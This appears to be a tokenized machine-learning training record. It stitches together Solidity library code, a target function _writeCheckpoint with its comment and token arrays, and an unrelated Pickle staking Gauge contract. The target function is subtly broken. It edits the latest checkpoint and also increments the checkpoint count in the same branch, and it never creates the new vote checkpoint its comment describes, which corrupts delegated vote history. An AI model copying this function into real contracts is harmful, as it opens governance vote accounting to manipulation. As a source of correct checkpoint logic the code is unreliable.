to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for { } slt(dest, dEnd) { } { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require(from <= to, "FROM_LESS_THAN_TO_REQUIRED"); require(to <= b.length, "TO_LESS_THAN_LENGTH_REQUIRED"); // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy(result.contentAddress(), b.contentAddress() + from, result.length); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require(from <= to, "FROM_LESS_THAN_TO_REQUIRED"); require(to <= b.length, "TO_LESS_THAN_LENGTH_REQUIRED"); // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return result The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { require(b.length > 0, "GREATER_THAN_ZERO_LENGTH_REQUIRED"); // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Pops the last 20 bytes off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return result The 20 byte address that was popped off. function popLast20Bytes(bytes memory b) internal pure returns (address result) { require(b.length >= 20, "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"); // Store last 20 bytes. result = readAddress(b, b.length - 20); assembly { // Subtract 20 from byte array length. let newLen := sub(mload(b), 20) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return equal True if arrays are the same. False otherwise. function equals(bytes memory lhs, bytes memory rhs) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return result address from byte array. function readAddress(bytes memory b, uint256 index) internal pure returns (address result) { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return result bytes32 value from byte array. function readBytes32(bytes memory b, uint256 index) internal pure returns (bytes32 result) { require(b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { require(b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return result uint256 value from byte array. function readUint256(bytes memory b, uint256 index) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return result bytes4 value from byte array. function readBytes4(bytes memory b, uint256 index) internal pure returns (bytes4 result) { require(b.length >= index + 4, "GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED"); // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Reads an unpadded bytes2 value from a position in a byte array. /// @param b Byte array containing a bytes2 value. /// @param index Index in byte array of bytes2 value. /// @return result bytes2 value from byte array. function readBytes2(bytes memory b, uint256 index) internal pure returns (bytes2 result) { require(b.length >= index + 2, "GREATER_OR_EQUAL_TO_2_LENGTH_REQUIRED"); // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes2 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFF000000000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Reads nested bytes from a specific position. /// @dev NOTE: the returned value overlaps with the input value. /// Both should be treated as immutable. /// @param b Byte array containing nested bytes. /// @param index Index of nested bytes. /// @return result Nested bytes. function readBytesWithLength(bytes memory b, uint256 index) internal pure returns (bytes memory result) { // Read length of nested bytes uint256 nestedBytesLength = readUint256(b, index); index += 32; // Assert length of <b> is valid, given // length of nested bytes require(b.length >= index + nestedBytesLength, "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED"); // Return a pointer to the byte array as it exists inside `b` assembly { result := add(b, index) } return result; } /// @dev Inserts bytes at a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes to insert. function writeBytesWithLength( bytes memory b, uint256 index, bytes memory input ) internal pure { // Assert length of <b> is valid, given // length of input require( b.length >= index + 32 + input.length, // 32 bytes to store length "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED" ); // Copy <input> into <b> memCopy( b.contentAddress() + index, input.rawAddress(), // includes length of <input> input.length + 32 // +32 bytes to store <input> length ); } /// @dev Performs a deep copy of a byte array onto another byte array of greater than or equal length. /// @param dest Byte array that will be overwritten with source bytes. /// @param source Byte array to copy onto dest bytes. function deepCopyBytes(bytes memory dest, bytes memory source) internal pure { uint256 sourceLen = source.length; // Dest length must be >= source length, or some bytes would not be copied. require(dest.length >= sourceLen, "GREATER_OR_EQUAL_TO_SOURCE_BYTES_LENGTH_REQUIRED"); memCopy(dest.contentAddress(), source.contentAddress(), sourceLen); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { LibEIP712 } from "./LibEIP712.sol"; library LibDeactivateAuthority { struct DeactivateAuthority { bool support; } // Hash for the EIP712 Schema // bytes32 constant internal EIP712_DEACTIVATE_AUTHORITY_HASH = keccak256(abi.encodePacked( // "DeactivateAuthority(", // "bool support", // ")" // )); bytes32 internal constant EIP712_DEACTIVATE_AUTHORITY_SCHEMA_HASH = 0x17dec47eaa269b80dfd59f06648e0096c5e96c83185c6a1be1c71cf853a79a40; /// @dev Calculates Keccak-256 hash of the deactivation. /// @param _deactivate The deactivate structure. /// @param _eip712DomainHash The hash of the EIP712 domain. /// @return deactivateHash Keccak-256 EIP712 hash of the deactivation. function getDeactivateAuthorityHash(DeactivateAuthority memory _deactivate, bytes32 _eip712DomainHash) internal pure returns (bytes32 deactivateHash) { deactivateHash = LibEIP712.hashEIP712Message(_eip712DomainHash, hashDeactivateAuthority(_deactivate)); return deactivateHash; } /// @dev Calculates EIP712 hash of the deactivation. /// @param _deactivate The deactivate structure. /// @return result EIP712 hash of the deactivate. function hashDeactivateAuthority(DeactivateAuthority memory _deactivate) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_DEACTIVATE_AUTHORITY_SCHEMA_HASH; assembly { // Assert deactivate offset (this is an internal error that should never be triggered) if lt(_deactivate, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(_deactivate, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 64) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { LibEIP712 } from "./LibEIP712.sol"; library LibVeto { struct Veto { uint128 proposalId; // Proposal ID } // Hash for the EIP712 Schema // bytes32 constant internal EIP712_VETO_SCHEMA_HASH = keccak256(abi.encodePacked( // "Veto(", // "uint128 proposalId", // ")" // )); bytes32 internal constant EIP712_VETO_SCHEMA_HASH = 0x634b7f2828b36c241805efe02eca7354b65d9dd7345300a9c3fca91c0b028ad7; /// @dev Calculates Keccak-256 hash of the veto. /// @param _veto The veto structure. /// @param _eip712DomainHash The hash of the EIP712 domain. /// @return vetoHash Keccak-256 EIP712 hash of the veto. function getVetoHash(Veto memory _veto, bytes32 _eip712DomainHash) internal pure returns (bytes32 vetoHash) { vetoHash = LibEIP712.hashEIP712Message(_eip712DomainHash, hashVeto(_veto)); return vetoHash; } /// @dev Calculates EIP712 hash of the veto. /// @param _veto The veto structure. /// @return result EIP712 hash of the veto. function hashVeto(Veto memory _veto) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_VETO_SCHEMA_HASH; assembly { // Assert veto offset (this is an internal error that should never be triggered) if lt(_veto, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(_veto, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 64) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { LibEIP712 } from "./LibEIP712.sol"; library LibVoteCast { struct VoteCast { uint128 proposalId; // Proposal ID bool support; // Support bool deactivate; // Deactivation preference } // Hash for the EIP712 Schema // bytes32 constant internal EIP712_VOTE_CAST_SCHEMA_HASH = keccak256(abi.encodePacked( // "VoteCast(", // "uint128 proposalId,", // "bool support,", // "bool deactivate", // ")" // )); bytes32 internal constant EIP712_VOTE_CAST_SCHEMA_HASH = 0xe2e736baec1b33e622ec76a499ffd32b809860cc499f4d543162d229e795be74; /// @dev Calculates Keccak-256 hash of the vote cast. /// @param _voteCast The vote cast structure. /// @param _eip712DomainHash The hash of the EIP712 domain. /// @return voteCastHash Keccak-256 EIP712 hash of the vote cast. function getVoteCastHash(VoteCast memory _voteCast, bytes32 _eip712DomainHash) internal pure returns (bytes32 voteCastHash) { voteCastHash = LibEIP712.hashEIP712Message(_eip712DomainHash, hashVoteCast(_voteCast)); return voteCastHash; } /// @dev Calculates EIP712 hash of the vote cast. /// @param _voteCast The vote cast structure. /// @return result EIP712 hash of the vote cast. function hashVoteCast(VoteCast memory _voteCast) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_VOTE_CAST_SCHEMA_HASH; assembly { // Assert vote cast offset (this is an internal error that should never be triggered) if lt(_voteCast, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(_voteCast, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 128) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library MathHelpers { using SafeMath for uint256; function proportion256( uint256 a, uint256 b, uint256 c ) internal pure returns (uint256) { return uint256(a).mul(b).div(c); } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } }
If latest checkpoint is current block, edit in place Create a new id, vote pair
function _writeCheckpoint( address _delegatee, uint256 _oldVotes, uint256 _newVotes ) internal { uint32 blockNumber = safe32(block.number, "Hashes: exceeds 32 bits."); uint256 delNum = numCheckpoints[_delegatee]; if (delNum > 0 && checkpoints[_delegatee][delNum - 1].id == blockNumber) { checkpoints[_delegatee][delNum - 1].votes = _newVotes; numCheckpoints[_delegatee] = delNum.add(1); } emit DelegateVotesChanged(_delegatee, _oldVotes, _newVotes); }
5,820,669
[ 1, 2047, 4891, 9776, 353, 783, 1203, 16, 3874, 316, 3166, 1788, 279, 394, 612, 16, 12501, 3082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2626, 14431, 12, 203, 3639, 1758, 389, 22216, 73, 16, 203, 3639, 2254, 5034, 389, 1673, 29637, 16, 203, 3639, 2254, 5034, 389, 2704, 29637, 203, 565, 262, 2713, 288, 203, 3639, 2254, 1578, 1203, 1854, 273, 4183, 1578, 12, 2629, 18, 2696, 16, 315, 14455, 30, 14399, 3847, 4125, 1199, 1769, 203, 3639, 2254, 5034, 1464, 2578, 273, 818, 1564, 4139, 63, 67, 22216, 73, 15533, 203, 3639, 309, 261, 3771, 2578, 405, 374, 597, 26402, 63, 67, 22216, 73, 6362, 3771, 2578, 300, 404, 8009, 350, 422, 1203, 1854, 13, 288, 203, 5411, 26402, 63, 67, 22216, 73, 6362, 3771, 2578, 300, 404, 8009, 27800, 273, 389, 2704, 29637, 31, 203, 5411, 818, 1564, 4139, 63, 67, 22216, 73, 65, 273, 1464, 2578, 18, 1289, 12, 21, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 27687, 29637, 5033, 24899, 22216, 73, 16, 389, 1673, 29637, 16, 389, 2704, 29637, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender)); } function deposit(uint256 amount) external { _deposit(amount); } function _deposit(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); emit Staked(msg.sender, amount); TOKEN.safeTransferFrom(msg.sender, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return 